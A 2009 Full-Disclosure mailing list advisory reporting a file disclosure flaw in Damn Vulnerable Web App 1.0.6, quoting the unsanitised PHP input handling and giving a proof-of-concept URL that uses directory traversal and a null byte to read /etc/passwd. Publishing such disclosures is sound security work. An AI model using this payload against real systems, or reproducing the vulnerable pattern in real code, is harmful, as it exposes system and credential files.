[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APP version 1.0.6
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] File Disclosure in DAMN VULNERABLE WEB APP version 1.0.6
- From: WHK <www.kernel32@xxxxxxxxx>
- Date: Tue, 29 Dec 2009 16:19:19 -0300
The problem is here:
vulnerabilities/view_source.php Line 11 and 12:
--------------------------------
$id = $_GET[ 'id' ];
$security = $_GET[ 'security' ];
--------------------------------
vulnerabilities/view_source.php Line 41:
--------------------------------
$source = @file_get_contents(
DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/{$id}/source/{$security}.php" );
--------------------------------
PoC:
http://127.0.0.1/dvwa/vulnerabilities/view_source.php?id=fi&security=../../../../../../etc/passwd%00
Demo:
http://www.webcomparte.com/archivos_publicos/imagenes/bugs/dvwa.png
Source:
http://foro.elhacker.net/nivel_web/para_que_practiques-t278540.0.html;msg1370620#msg1370620
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/